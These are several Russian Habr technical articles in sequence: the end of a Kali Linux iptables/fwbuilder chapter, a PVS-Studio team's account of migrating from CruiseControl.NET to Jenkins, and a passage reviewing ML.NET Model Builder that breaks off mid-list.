Существуют и более специфические условия, зависящие от общих условий, описанных выше. Подробнее об этом можно посмотреть в `man` (`iptables(8)` и `ip6tables(8)`).
7.4.3. Создание правил
----------------------
Каждая операция создания правила требует одного вызова команды `iptables` или `ip6tables`. Ввод этих команд вручную может оказаться трудоёмкой задачей, поэтому обычно эти команды оформляют в виде скриптов, которые позволяют автоматически настраивать систему так, как это нужно, каждый раз при загрузке компьютера. Подобные скрипты можно писать вручную, но есть и более продвинутый способ, который заключается в использовании программы `fwbuilder`. Для её установки воспользуйтесь такой командой:
```
# apt install fwbuilder
```
Принципы создания правил в программе просты. Сначала опишите все элементы системы, на которые будут распространены правила, которые вы хотите создать. Среди этих элементов можно отметить следующие:
* Сам файрвол с его сетевыми интерфейсами.
* Сеть и соответствующие ей диапазоны IP-адресов.
* Серверы.
* Порты, принадлежащие службам, работающим на серверах.
Далее, создайте правила, используя графический интерфейс и перетаскивая мышью соответствующие элементы. Контекстные меню можно использовать для изменения условий (например, для формирования условий, обратных заданным). Затем нужно выбрать и настроить действия.
Поскольку во внимание принимается и IPv6, можно либо создать два самостоятельных набора правил, для IPv4 и IPv6, либо создать лишь один набор и позволить `fwbuilder` преобразовать правила в соответствии с адресами, назначенными объектам.
*Рис. 7.2. Главное окно fwbuilder*
Итогом работы с `fwbuilder` станет сгенерированный программой скрипт настройки файрвола в соответствии с заданными правилами. Модульная архитектура программы даёт возможность создавать скрипты, рассчитанные на различные системы, в том числе — `iptables` для Linux, `ipf` для FreeBSD и `pf` для OpenBSD.
7.4.4. Применение правил при каждой загрузке системы
----------------------------------------------------
Для того, чтобы применять правила файрвола каждый раз, когда система загружается, нужно зарегистрировать конфигурационный скрипт в директиве `up` файла `/etc/network/interfaces`. В следующем примере скрипт хранится по адресу `/usr/local/etc/arrakis.fw`.
```
auto eth0
iface eth0 inet static
address 192.168.0.1
network 192.168.0.0
netmask 255.255.255.0
broadcast 192.168.0.255
up /usr/local/etc/arrakis.fw
```
В этом примере предполагается, что вы используете для настройки сетевых интерфейсов `ifupdown`. Если вы используете другие инструменты (вроде `NetworkManager` или `systemd-networkd`), обратитесь к их документации для того, чтобы выяснить способы выполнения скрипта после включения интерфейса.
Итоги
-----
Сегодня мы поговорили о работе со встроенным в ядро Linux файрволом `netfilter`, обсудили особенности управления трафиком IPv4 и IPv6 с использованием команд `iptables` и `ip6tables`. Мы рассмотрели графическое средство для создания правил `fwbuilder` и показали, как автоматически задавать правила при загрузке системы. В следующий раз мы поделимся с вами переводом раздела 7.5, который посвящён мониторингу Kali Linux.
Уважаемые читатели! Как вы решаете проблемы фильтрации трафика в Linux? | https://habr.com/ru/post/338480/ | null | ru | null |
# Переход с CruiseControl.NET на Jenkins в команде разработчиков PVS-Studio
Сейчас трудно представить разработку программного обеспечения без автоматизированных сборок проекта и тестирования. Для минимизации временных затрат на интеграцию изменений разработчиков в проект, существуют разные готовые решения. В данной статье я расскажу о замене сервера непрерывной интеграции CruiseControl.NET на Jenkins в команде разработчиков PVS-Studio. А также о том, что нас к этому побудило, какие цели мы преследовали и с какими проблемами столкнулись.
Введение
--------
Непрерывная интеграция (англ. Continuous Integration, далее CI) — автоматизированный процесс сборки, развёртывания и тестирования разрабатываемого программного обеспечения. Эта практика разработки популярна как в больших коллективах, так и у индивидуальных разработчиков. Для подобной практики есть много готовых решений. В данной статье пойдёт речь о бесплатных проектах с открытым исходным кодом CruiseControl.NET и Jenkins.
[CruiseControl.NET](http://www.cruisecontrolnet.org/) ( CCNet ) — инструмент для непрерывной интеграции программного обеспечения, реализованный на .NET Framework. Также существуют варианты инструмента на Java (CruiseControl) и версия для Ruby-сред (CruiseControl.rb). Управление и просмотр информации о сборках осуществляется через веб-интерфейс или desktop утилиту. Интегрируется с различными системами управления версиями. Является проектом с открытым исходным кодом и, к сожалению, не развивается примерно с 2013 года.
[Jenkins](https://jenkins.io/) — инструмент для непрерывной интеграции с открытым исходным кодом, написанный на Java. Был ответвлён от проекта [Hudson](http://hudson-ci.org/) после спора с Oracle. Обеспечивая функции непрерывной интеграции, позволяет автоматизировать часть процесса разработки программного обеспечения, в котором не обязательно участие человека. Возможности Jenkins можно расширять с помощью плагинов. В данный момент проект активно развивается и поддерживается, и разработчиками, и сообществом.
Хоть статья немного и похожа на обзор в стиле «CCNet Vs. Jenkins», акцент сразу будет сделан на выборе в пользу сервера с Jenkins. Главной причиной смены инструмента непрерывной интеграции для нас является отсутствие развития у проекта CruiseControl.NET. В статье будут описаны и другие моменты работы с CCNet, с которыми возникали трудности.
Недавно у проекта PVS-Studio был юбилей 10 лет, о котором можно прочесть в статье "[Как 10 лет назад начинался проект PVS-Studio](http://www.viva64.com/ru/b/0465/)". Больше половины времени существования продукта мы использовали CCNet. Его интерфейс, настройки и функции стали настолько привычными, что Jenkins казался крайне неудобным. Впервые мы стали его использовать, когда появился PVS-Studio для Linux. Переходу на Jenkins предшествовало длительное изучение этого инструмента. Часть времени мы потратили на поиск аналога привычных нам функций из CCNet. Далее будут описаны интересные моменты из проделанной работы.
Наши претензии к CCNet
----------------------
1. CCNet больше не развивается. Им можно до сих пор пользоваться, но расширять функционал и исправлять существующие/потенциальные ошибки придётся собственными силами.
2. Нестабильно работает режим опроса SCM (Source Code Management) об изменениях, а именно для автоматического запуска при наличии изменений в системе контроля версий. При проблемах с сетью, в этом режиме проект получает статус «Failed», даже если не запускался. На практике проблема возникает так часто (к сожалению, в нашем офисе не самый стабильный доступ в интернет), что этим режимом становится невозможно пользоваться.
3. При опросе SCM об изменениях, в случае наличия ошибки системы контроля версий (например, если из репозитория был удалён какой-нибудь каталог, прописанный в настройках и возник tree conflict), выполнение проекта сразу прерывается, сохраняя статус «Success» — проект перестаёт работать, но его статус в web интерфейсе и десктоп утилите остаётся «зелёным». В таком режиме запуск, например, тестов, может не выполняться неделями, и есть риск, что никто не обратит на это внимание, думая, что тесты успешно работают.
4. Общий лог работы сервера слишком вербозный и неструктурированный: сложно понять, какой шаг сборки отвалился и найти лог именно для этого шага. При работе нескольких проектов параллельно, лог сборки «смешивается». XML лог сборки отдельного проекта доступен в web интерфейсе, но он наоборот зачастую недостаточно подробен и не содержит всех запускаемых команд.
5. Неэффективное распараллеливание подзадач внутри проекта. Подзадачи запускаются параллельно группами по количеству ядер процессора. Если в группу попадают длительные и быстрые задачи, то новые задачи запускаться не будут, пока не завершатся все задачи из предыдущего запуска.
Сравнение сценариев использования
---------------------------------
### Настройки сервера
Настройки проектов CCNet (конфигурация сервера) хранились в одном xml файле, а различные пароли в другом. Хоть файл настроек и достиг размера ~4500 строк, пользоваться им было довольно удобно. Лёгким нажатием Alt+2 в Notepad++ список всех проектов можно свернуть и редактировать нужный (рисунок 1).
*Рисунок 1 — Редактирование CCNet настроек в Notepad++*
Хоть файл и содержал дублирующийся код, при поддержке сервера особых затруднений не возникало.
Вот так заполнялся блок SCM:
```
&SVN\_USERNAME;
&SVN\_PASSWORD;
&SVN\_ROOT;...
&PROJECT\_ROOT;...
&SVN\_FOLDER;
true
true
true
30
```
Так заполнялся блок MSBuild:
```
PVS-Studio 2015
&PROJECT\_ROOT;...
...\PVS-Studio-vs2015.sln
/p:Configuration=Release
Build
600
&MSBUILD14\_PATH;
```
А так заполнялся блок для общих задач:
```
PVS-Studio 2015 sign
&PROJECT\_ROOT;...\SignToolWrapper.exe
&PROJECT\_ROOT;...
"&SIGNTOOL" ... \PVS-Studio-vs2015.dll"
600
```
На основе такого проектного файла CCNet потом удобно отображает все выполняемые шаги (правда, только в десктопной tray утилите. Web интерфейс это почему-то не поддерживал). В Jenkins с «высокоуровневым» отображением этапов прохождения интеграционного проекта пришлось повозиться, но об будет рассказано позже.
Для Jenkins необходимо хранить достаточно много файлов настроек: конфиг сервера, файлы настроек некоторых плагинов, каждый проект имеет свой собственный файл конфигурации. Хоть все эти файлы заданы в формате xml, для просмотра и редактирования они не очень удобны (по крайней мере по сравнению с CCNet), т.к. все команды внутри тэгов прописаны сплошным текстом. Правда, в большей степени это связано с идеологией использования инструмента. В CCNet конфиг пишется вручную, и поэтому, может быть «красиво» отформатирован. Jenkins же предполагает редактирование настроек проекта через свой web интерфейс, а конфиги генерирует автоматически.
Примерно так выглядят команды в конфигах Jenkins'а:
```
CD "%BUILD\_FOLDERS%\Builder"
PVS-Studio\_setup.exe /VERYSILENT /SUPPRESSMSGBOXES ...
Publisher\_setup.exe /VERYSILENT /SUPPRESSMSGBOXES
```
И это ещё очень маленький пример.
### Просмотр статусов задач
Как я писал ранее, в CCNet проекты заполняются Task блоками. Вот так выглядит успешно выполненная задача с отображением шагов (рисунок 2).
*Рисунок 2 — Просмотр статуса задачи в CCTray (desktop клиент для CCNet)*
Ошибку в любом из блоков хорошо видно в иерархии подзадач. Это очень удобная и наглядная визуализация интеграционного процесса. Почти никогда не было необходимости искать логи, по описанию задачи было сразу понятно, что стоит проверить на локальном компьютере. Прямо в таком виде в Jenkins ничего не нашлось, поэтому пришлось подробно изучить этот момент перед переездом на новый сервер.
Можно провести такую аналогию между CCNet и Jenkins: в CCNet есть проект (Project), шагом в этом проекте является Task (как видно на рисунке выше). В Jenkins также есть проект (Job), а его шагами являются Step'ы (рисунок 3).
*Рисунок 3 — Соответствие именований проектов в CCNet и Jenkins*
К сожалению, web интерфейс Jenkins'а не умеет визуализировать работу отдельных шагов — у Job'а есть только полный консольный лог всех шагов вместе. Большим неудобством здесь является то, что из Jenkins невозможно посмотреть, какой из шагов завершился с ошибкой — нужно смотреть полный лог сборки Job'а. И так как к хорошему быстро привыкаешь, от старого сценария использования отказываться не хотелось. Тогда на помощь к нам пришёл [Multijob Plugin](https://wiki.jenkins-ci.org/display/JENKINS/Multijob+Plugin).
Этот плагин позволил нам внести следующие нововведения:
1. Использование Job'ов в качестве Step'ов в других Job'ах. Таким образом появились универсальные Job'ы, которые позволили отделить лог конкретных подзадач и, самое главное, отдельно просматривать статусы конкретных подзадач. Web интерфейс Jenkins умеет хорошо визуализировать выполнение отдельных Job'ов в рамках Multijob'а — как раз то, что мы искали. На рисунке 4 показан пример выполненного Multijob'а.
*Рисунок 4 — Просмотр выполненного Multijob'а*
2. С использованием универсальных Job'ов удалось избавиться от дублирующего кода. Например, есть компиляция какой-нибудь утилиты: для дистрибутива, для запуска тестов и для запуска анализа кода. В CCNet это были одинаковые Task блоки в 3-х разных проектах. В Jenkins для компиляции этой утилиты сделан Job, который используют несколько Multijob'ов.
3. При создании проектов в Jenkins используется следующая идеология. Все Job'ы мы разделяем на Multijob «проекты» и универсальные «шаги». Имена универсальных Job'ов имеют префикс «job\_» и не подразумевают использование как самостоятельного проекта. Также они не содержат загрузку исходного кода из репозитория. Имена Multijob'ов имеют префикс «proj\_» и включают в себя загрузку исходного кода, и запуск только других Job'ов. (Step'ы мы стараемся избегать, т.к. они не визуализируются).
Универсальные Job'ы запускаются со следующим параметром:
```
WORKSPACE=$WORKSPACE
```
Это означает, что Job будет запущен в рабочем каталоге Multijob'а.
Таким образом удаётся получить отдельно лог обновления исходных файлов и логи всех этапов сборки по отдельности. Следовать этой идеологии для всех проектов сложно и бессмысленно. Так сделано только для нескольких самых больших и важных проектов, которые необходимо подробно изучать при возникновении проблем.
4. В Multijob'е можно настроить условные и параллельные запуски Job'ов. Multijob'ы умеют запускать Multijob'ы по тем же правилам. Так можно объединять запуски проектов: например, запустить сборку всех инсталляторов или все тесты.
### Просмотр логов сборки
В CCNet просматривать логи сборки проектов было крайне неудобно, т.к. они перемешивались с выводом сервера, и имели особую разметку. В Jenkins такой проблемы нет, и дополнительно появилась возможность разделять логи для подзадач в некоторых проектах.
### Получение ревизии исходного кода
В Jenkins для каждой добавленной ссылки на SVN репозиторий определяется своя версия ревизии. Т.е. если добавить несколько каталогов, то номера могут сильно отличаться, а нужен один максимальный.
Согласно документации, работать с этим надо следующим образом:
*If you have multiple modules checked out, use the svnversion command. If you have multiple modules checked out, you can use the svnversion command to get the revision information, or you can use the SVN\_REVISION\_ environment variables, where is a 1-based index matching the locations configured.*
Так и сделали: из всех выставленных значений *SVN\_REVISION\_* берётся максимальное и добавляется в собранные программы.
Полезные плагины для Jenkins
----------------------------
Расширение возможностей с помощью плагинов позволяет максимально гибко настроить сервер. Плагины для запуска тестов в Visual Studio, пожалуй, единственные, которые мы отказались использовать. Они имели дополнительные обязательные параметры запуска, которые мы не использовали, поэтому проще было сделать универсальный Job, просто запускающий тесты из командной строки. К сожалению, «из коробки» Jenkins не умел многое из того, к чему мы привыкли в CCNet. Однако, с помощью плагинов удалось «вернуть» всю требуемую нам функциональность.
Далее приведен список плагинов с небольшим описанием, которыми нам было удобно воспользоваться:
1. [Multijob plugin](http://wiki.jenkins-ci.org/display/JENKINS/Multijob+Plugin) — позволяет использовать в качестве этапов сборки другие Job'ы с возможностью последовательного и параллельного выполнения.
2. [Environment Injector Plugin](https://wiki.jenkins-ci.org/display/JENKINS/EnvInject+Plugin) — с помощью этого плагина можно задавать глобальные пароли. Используются они как переменные окружения, при этом плагин скрывает значения такой переменной в логе.
3. [Pre SCM BuildStep Plugin](https://wiki.jenkins-ci.org/display/JENKINS/pre-scm-buildstep) — добавление дополнительных шагов перед выполнением команд системы контроля версий.
4. [MSBuild Plugin](http://wiki.jenkins-ci.org/display/JENKINS/MSBuild+Plugin) — удобный плагин для сборки проектов с помощью MSBuild. В настройках один раз указываются пути к разным версиям MSBuild. Далее в проекте можно легко добавлять шаги сборки.
5. [Parameterized Trigger plugin](http://wiki.jenkins-ci.org/display/JENKINS/Parameterized+Trigger+Plugin) — добавляет параметры запуска проектов. Можно, например, сделать выбор trunk/stable ветки для сборки дистрибутива.
6. [Post-Build Script Plug-in](http://wiki.jenkins-ci.org/display/JENKINS/PostBuildScript+Plugin) — выполнение дополнительных этапов после сборки.
7. [Throttle Concurrent Builds Plug-in](https://wiki.jenkins-ci.org/display/JENKINS/Throttle+Concurrent+Builds+Plugin) — данный плагин позволяет регулировать количество параллельно запущенных сборок проекта глобально или в рамках заданной категории. Он позволяет получить в Jenkins функциональность, подобную очередям в CCNet — возможность выполнять параллельно несколько проектов из разных категорий (очередей), при этом обеспечивая последовательное выполнение проектов в рамках одной очереди. Например, у нас есть очереди Installers (дистрибутивы) и Tests (тесты). Мы хотим иметь возможность при работе тестов параллельно собирать какой-нибудь дистрибутив, но при этом тесты параллельно работать не должны — не хватит «ядер» на сервере.
8. [Build Name Setter Plugin](https://wiki.jenkins-ci.org/display/JENKINS/Build+Name+Setter+Plugin) — позволил задать имя сборки в нужном нам формате: *Major.Minor.Revision.Build*.
9. [Dashboard View](https://wiki.jenkins-ci.org/display/JENKINS/Dashboard+View) — позволяет добавить своё отображение Job'ов в браузере. Т.к. у нас есть универсальные Job'ы, которые нет смысла запускать вручную, то мы создали список без них с помощью этого плагина.
10. [ZenTimestamp Plugin](https://wiki.jenkins-ci.org/display/JENKINS/ZenTimestamp+Plugin) — удобный плагин, добавляющий временные метки в логах сборки.
Обзор десктопных клиентов
-------------------------
Для получения уведомлений от CCNet мы пользовались клиентом для Windows — CCTray.
Вот какие варианты теперь есть для работы с Jenkins:
1. CCTray — эту программу можно использовать и для сервера с Jenkins. Выглядеть проекты будут примерно, как и раньше (рисунок 5).
*Рисунок 5 — Скриншот CCTray*
Описание как клиента для Jenkins:
* Не развивается, как и CCNet;
* Не умеет показывать подзадачи (работает только для CCNet);
* Не умеет запускать проекты;
* По нажатию на название можно перейти на страницу проекта;
* Настраивается вид отображения проектов (Icons, List, Details);
* С открытым исходным кодом.
2. [CatLight](https://catlight.io/) (рисунок 6)
*Рисунок 6 — Скриншот CatLight*
Описание клиента:
* На данный момент Beta версия, финальная версия станет платной;
* Ещё есть падения при установке, работе и глюки в интерфейсе;
* При выводе компьютера из гибернации статус проектов на dashboard'е не обновляется автоматически;
* Не умеет показывать подзадачи для Multijob'ов;
* Не умеет запускать проекты;
* Не настраивается вид отображения проектов (единственный возможный вид — рисунок 6);
* По нажатию на название можно перейти на страницу проекта;
* Можно видеть статус последних 5-и запусков и переходить к ним;
* Можно видеть прогресс запущенного проекта;
* При добавлении нескольких серверов они удобно отделены чертой;
* Есть для Windows, Linux и Mac.
3. [Kato](http://fieryjoy.com/kato) (рисунок 7)
*Рисунок 7 — Скриншот Kato*
Описание клиента:
* Не умеет показывать подзадачи для Multijob'ов;
* Умеет запускать проекты. К сожалению, не поддерживает проекты с параметризованным запуском — утилита «падает» при попытке запустить такой проект;
* Проекты с разных серверов отображаются в одном списке и неразличимы (не всегда удобно);
* Настраивается вид отображения проектов (List, Grid);
* По нажатию на название можно перейти на страницу проекта;
* Можно просматривать последний лог прямо в клиенте, но из-за отсутствия моноширинного текста это не очень удобно;
* С открытым исходным кодом;
* Только для Windows.
4. [CCMenu](http://ccmenu.org/) — клиент только для Mac с открытым исходным кодом. Для нас не актуален, но может кому-нибудь пригодится.
Заключение
----------
Использование CI полезно в любом проекте. Для этого есть замечательный бесплатный инструмент Jenkins, который был рассмотрен в статье, а также много других бесплатных и платных CI. Приятно пользоваться развивающимся проектом: для Jenkins и плагинов периодически выходит множество обновлений. Появляются новые решения, как, например, сейчас на главной странице приводится новый проект [Blue Ocean](https://jenkins.io/projects/blueocean/), который ещё находится на стадии Beta.
Клиенты для мониторинга проектов Jenkins не очень меня порадовали. Отсутствует много напрашивающихся функций. Возможно, десктопные клиенты не особо востребованы и правильнее пользоваться только web-интерфейсом.
При переезде на новый сервер не получилось использовать Jenkins как службу Windows, т.к. в этом режиме не выполняются UI тесты. Вышли из положения, настроив запуск сервера как консольного приложения со скрытым окном.
Если у вас есть дополнения к изложенному материалу или интересные решения приведённых проблем, то мы будем рады, если вы оставите комментарий к статье или напишите нам через [форму](http://www.viva64.com/ru/about-feedback/) обратной связи.
[](http://www.viva64.com/en/b/0472/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Svyatoslav Razmyslov. [Moving from CruiseControl.NET to Jenkins in the PVS-Studio development team](http://www.viva64.com/en/b/0472/)
**Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio, версия 2015](http://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком. | https://habr.com/ru/post/321346/ | null | ru | null |
# ML.NET: впечатления от Model Builder и не только
Доброго времени суток и мое почтение, читатели Хабра!
Предыстория
-----------
У нас на работе принято обмениваться интересными находками в командах разработки. На очередной встрече, обсуждая будущее .NET и **.NET 5** в частности, мы с коллегами заострили внимание на видении унифицированный платформы с этой картинки:
На ней показано, что платформа объединяет DESKTOP, WEB, CLOUD, MOBILE, GAMING, IoT и AI. Мне пришла в голову идея провести беседу в формате небольшого доклада + вопросов/ответов по каждой теме на следующих встречах. Ответственный за ту или иную тему предварительно готовится, вычитывает информацию об основных новшествах, пробует что-то реализовать с помощью выбранной технологии, а затем делится с нами своими мыслями и впечатлениями. В итоге все получают реальный отзыв об инструментарии из проверенного источника из первых уст — очень удобно, учитывая то, что самому попробовать и поштурмить все темы может быть не сподручно, банально руки не дойдут.
Поскольку я некоторое время активно интересуюсь машинным обучением в качестве хобби (и иногда использую для небизнесовых задачек в работе), мне досталась тема AI & ML.NET. В процессе подготовки я наткнулся на замечательные инструменты и материалы, к своему удивлению обнаружил, что про них очень мало информации на Хабре. Ранее в официальном блоге Microsoft писали про [релиз ML.Net](https://habr.com/ru/company/microsoft/blog/451296/), и Model Builder в частности. Я бы хотел поделиться тем, как вышел на него и какие получил впечатления от работы с ним. Статья больше про Model Builder, чем про ML в .NET в целом; мы постараемся посмотреть на то, что предлагает MS среднему .NET-разработчику, но глазами подкованного в ML человека. Постараюсь при этом держать баланс между пересказыванием туториала, совсем уж разжевыванием для новичков и описанием деталей для ML-специалистов, которым почему-то потребовалось прийти в .NET.
Основная часть
--------------
Итак, беглое гугление про ML в .NET приводит меня на [страничку туториала](https://dotnet.microsoft.com/learn/ml-dotnet/get-started-tutorial/intro):
Оказывается, есть специальное расширение для Visual Studio под названием Model Builder, которое "позволяет добавить машинное обучение в Ваш проект правой кнопкой мыши" (вольный перевод). Я вкратце пробегусь по основным шагам туториала, которые предлагается проделать, дополню деталями и своими мыслями.
###### Download and install
Нажимаем кнопку, качаем, устанавливаем. Студию придется перезапустить.
###### Create your app
Для начала создаем обычное C# приложение. В туториале предлагается создать Core, но и под Framework годится. А дальше, собственно, начинается ML — кликаем правой кнопкой мышки по проекту, затем Add -> Machine Learning. Появившееся окно создания модели мы будем разбирать, ибо именно в нем происходит вся магия.
###### Pick a scenario
Выбираем "сценарий" своего приложения. На данный момент доступны 5 (туториал немного устарел, там пока 4):
* Sentiment analysis — анализ тональности, binary classification (бинарная классификация), по тексту определяется его эмоциональный окрас окрас, позитивный или негативный.
* Issue classification — multiclass classification (многоклассовая классификация), целевая метка для issue (тикета, ошибки, обращения в поддержку и т.д.) может быть выбрана как один из трех взаимоисключающих вариантов
* Price prediction — regression, классическая задача регрессии, когда выходным результатом является непрерывное число; в примере это оценка квартиры
* Image classification — multiclass classification (многоклассовая классификация), но уже для изображений
* Custom scenario — свой сценарий; вынужден огорчить, что ничего нового в этом варианте не будет, просто на более позднем этапе дадут выбрать один из ранее описанных четырех вариантов.
Заметим, что нет multilabel-классификации, когда целевых метод может быть много одновременно (например, высказывание может быть одновременно оскорбительным, расистским и матерным, а может не быть никаким из этого). Для изображений нет возможность выбора задачи сегментации. Я предполагаю, что с помощью фреймворка они в целом решаемы, однако сегодня фокусируемся именно на билдере. Кажется, что масштабирование визарда на расширение количества задач не является трудной задачей, поэтому стоит ожидать в их будущем.
###### Download and add data
Предлагается скачать датасет. Из необходимости скачивания на свою машину автоматически делаем вывод о том, что обучение будет происходить на нашей локальной машине. У этого есть как плюсы:
* Вы контролируете все данные, можете подправить, изменить локально и повторить эксперименты.
* Вы не выгружаете данные в облако, таким образом сохраняя приватность. Ведь не выгружаете, да [Microsoft](https://habr.com/ru/users/microsoft/)? :)
так и минусы:
* Скорость обучения ограничена ресурсами Вашей локальной машины.
Далее предлагается выбрать скачанный датасет в качестве инпута типа "Файл". Так же есть вариант использовать "SQL Server" — потребуется указать необходимые реквизиты сервера, затем выбрать таблицу. Если я правильно понял, пока нельзя указать конкретный скрипт. Ниже я пишу про проблемы, которые у меня возникли с этим вариантом.
###### Train your model
На этом шаге последовательно обучаются различные модели, для каждой выводится скор, и в конце выбирается лучшая. Ах да, я забыл упомянуть, что это AutoML — т.е. лучший алгоритм и параметры (не уверен, см. ниже) будут выбраны автоматически, так что Вам ничего делать не нужно! Предлагается ограничить максимальное время обучения количеством секунд. Эвристика по определению этого времени: <https://github.com/dotnet/machinelearning-samples/blob/master/modelbuilder/readme.md#train>. На моей машине за дефолтные 10 секунд учится всего одна модель, так что приходится ставить сильно больше. Запускаем, ожидаем.
Тут очень хочется добавить, что названия моделей лично мне показались немного непривычными, например: AveragedPerceptronBinary, FastTreeOva, SdcaMaximumEntropyMulti. Слово "Perceptron" не так часто используется в эти дни, "Ova" вероятно one-vs-all, а "FastTree" я затрудняюсь сказать что.
Еще из интересного — среди алгоритмов-кандидатом присутствует LightGbmMulti. Если я правильно понимаю, это тот самый LightGBM, движок градиентного бустинга, который вместе с CatBoost сейчас оказывает конкуренцию когда-то единолично правившему XGBoost. Он немного расстраивает своей скоростью в текущем исполнении — на моих данных его обучение заняло больше всего времени (порядка 180 секунд). Хотя входные данные — текст, после векторизации колонок тысячи, больше чем входных примеров — это не лучший кейс для бустинга и деревьев в целом.
###### Evaluate your model
Собственно, оценка результатов модели. На данном шаге можно посмотреть на то, какие целевые метрики были достигнуты, а так же погонять модель вживую. Про сами метрики можно почитать тут: [MS](https://docs.microsoft.com/en-us/dotnet/machine-learning/resources/metrics) и [sklearn](https://scikit-learn.org/stable/modules/model_evaluation.html).
Меня в первую очередь заинтересовал вопрос — на чем тестировалось-то? Поиск по той же страницу с [хелпом](https://github.com/dotnet/machinelearning-samples/blob/master/modelbuilder/readme.md#Evaluate) дает ответ — разбиение очень консервативное, 80% на 20%. Я не нашел возможности это настроить в UI. На практике хотелось бы это контролировать, ибо когда данных реально много, разбиение может быть даже 99% и 1% (по словам Andrew Ng, сам я с такими данными не работал). Так же полезно было бы иметь возможность задать random seed сэмплинга данных, ибо повторяемость в ходе построения и выбора лучшей модели трудно переоценить. Кажется, что добавить эти опции несложно, для сохранения прозрачности и простоты можно скрыть их за каким-нибудь чекбоксом "Extra options".
В консоль в процессе построения модели выводятся таблички со скорами, код генерации которых можно найти в проектах из следующего шага. Можно сделать вывод, что сгенерированный код реально работает, и выводится его честный вывод, никакой бутафории.
Интересное наблюдение — во время написания статьи я еще раз прошелся по шагам билдера, использовал предлагаемый датасет комментариев с Википедии. Но в качестве задачи я выбрал "Custom", затем многоклассовую классификацию как таргет (хотя классов всего два). В итоге скор получился примерно на 10% хуже (порядка 73% против 83%), чем скор со скриншота с бинарной классификацией. По мне это немного странно, ведь система могла бы и догадаться, что класса всего два. В принципе и классификаторы по типу one-vs-all (а-ля один против всех, когда задача многоклассовой классификации сводится к последовательному решению N-задач бинарной по каждому из N классов) тоже должны были в этой ситуации показывать аналогичный бинарной скор.
###### Generate code
На этом шаге сгенерируются и добавятся в решение (solution) два проекта. В одном из них есть полноценный пример использования модели, а в другой следует заглядывать только если интересны детали реализации.
Для себя обнаружил то, что весь процесс обучения лаконично формируется в пайплайн (привет пайплайнам из sk-learn):
```
// Data process configuration with pipeline data transformations
var processPipeline = mlContext.Transforms.Conversion.MapValueToKey("Sentiment", "Sentiment")
.Append(mlContext.Transforms.Text.FeaturizeText("SentimentText_tf", "SentimentText"))
.Append(mlContext.Transforms.CopyColumns("Features", "SentimentText_tf"))
.Append(mlContext.Transforms.NormalizeMinMax("Features", "Features"))
.AppendCacheCheckpoint(mlContext);
```
*(чуть-чуть тронул форматирование кода, чтобы уместилось красиво)*
Помните, я говорил про параметры? Я не вижу ни одного кастомного параметра, все значения по умолчанию. Кстати по лейблу `SentimentText_tf` на выходе `FeaturizeText` можно сделать вывод, что это term frequency (документация говорит, что это n-grams и char-grams текста; интересно, есть ли там IDF, inversed document frequency).
###### Consume your model
Собственно, пример использования. Могу отметить только то, что Predict делается элементарно.
Ну вот, собственно, и все — мы рассмотрели все шаги билдера и отметили ключевые моменты. Но эта статья была бы неполной без теста на собственных данных, ведь любой, кто хоть раз сталкивался с ML и AutoML, прекрасно знает, что на стандартных задачках, синтетических тестах и датасетах из интернета любой автомл хорош. Поэтому было решено проверить билдер на своих задачах; тут и далее это всегда работа с текстом или текстом + категориальными фичами.
У меня совершенно неслучайно оказался под рукой датасет с некоторыми ошибками/issue/дефектами, зарегистрированными на одном из проектов. В нем 2949 строк, 8 несбалансированных целевых классов, 4мб.
ML.NET (загрузка, преобразования, алгоритмы из списка ниже; заняло 219 секунд)
```
| Top 2 models explored |
--------------------------------------------------------------------------------
| Trainer MicroAccuracy MacroAccuracy Duration #Iteration|
|1 SdcaMaximumEntropyMulti 0,7475 0,5426 176,7 1|
|2 AveragedPerceptronOva 0,7128 0,4492 42,4 2|
--------------------------------------------------------------------------------
```
*(ужал пустоты в табличке, чтобы поместилось в Markdown)*
Моя версия на Python (загрузка, **чистка**, преобразования, затем LinearSVC; заняло 41 секунду):
```
Classsification report:
precision recall f1-score support
Class 1 0.71 0.61 0.66 33
Class 2 0.50 0.60 0.55 5
Class 3 0.65 0.58 0.61 59
Class 4 0.75 0.60 0.67 5
Class 5 0.78 0.86 0.81 77
Class 6 0.75 0.46 0.57 13
Class 7 0.82 0.90 0.86 227
Class 8 0.86 0.79 0.82 169
accuracy 0.80 588
macro avg 0.73 0.67 0.69 588
weighted avg 0.80 0.80 0.80 588
```
**0.80** vs **0.747** Micro и **0.73** vs **0.542** Macro (в определении Макро может быть некоторая неточность, если интересно — в комментариях расскажу).
Я приятно удивлен, всего 5% разницы. На некоторых других датасетах разница была еще меньше, а порой и вовсе не было. Анализируя величину разницы стоит принять во внимание тот факт, что количество сэмплов в датасетах невелико, и, порой, после очередной выгрузки (что-то удаляется, что-то добавляется) я наблюдал подвижки скора на 2-5 процентов.
Пока я самолично экспериментировал, никаких проблем в использовании билдера не возникло. Однако во время презентации коллегам все же встретились несколько косяков:
* Один из датасетов мы попробовали честно загрузить из таблицы в БД, но наткнулись на неинформативное сообщение об ошибке. Я примерно представлял, какого плана текстовые данные там находятся, и сразу прикинул, что проблема может быть в переводах строк. Что ж, загрузил датасет с помощью **pandas.read\_csv**, почистил от \n \r \t, сохранил в tsv, двинулись дальше.
* На обучении очередной модели получили исключение, сообщающее о том, что матрица размером ~ 220000 на 1000 не может комфортно расположиться в памяти, так что обучение остановлено. Модель при этом тоже не сгенерировалась. Что делать дальше — непонятно, вышли из ситуации с помощью подстановки ограничения времени обучения "на глазок" — чтобы падающий алгоритм не успел начать работать.
Кстати, из второго пункта можно сделать вывод о том, что количество слов и n-грам при векторизации не особо-то и ограничивается по верхней границе, и "n" вероятно равен двум. Я могу по своему опыту сказать, что 200к явно слишком большое число. Обычно его либо ограничивают наиболее частыми вхождениями, либо применяют поверх разного рода алгоритмы сокращения размерности, например SVD или PCA.
Выводы
------
Билдер предлагает на выбор несколько сценариев, в которых я не обнаружил критичных мест, требующих погружения в ML. С этой точки зрения он прекрасно подходит как инструмент "getting started" или решения типичных простых задач здесь и сейчас. Реальные сценарии использования полностью зависят от Вашей фантазии. Можно пойти по предлагаемым MS вариантам:
* решать задачу оценки тональности (sentiment analysis), допустим, в комментариях к продуктам на сайте
* классифицировать тикеты по категориям или командам (issue classification)
* продолжить издеваться над тикетами, но уже с помощью регрессии (price prediction) — оценить временные затраты
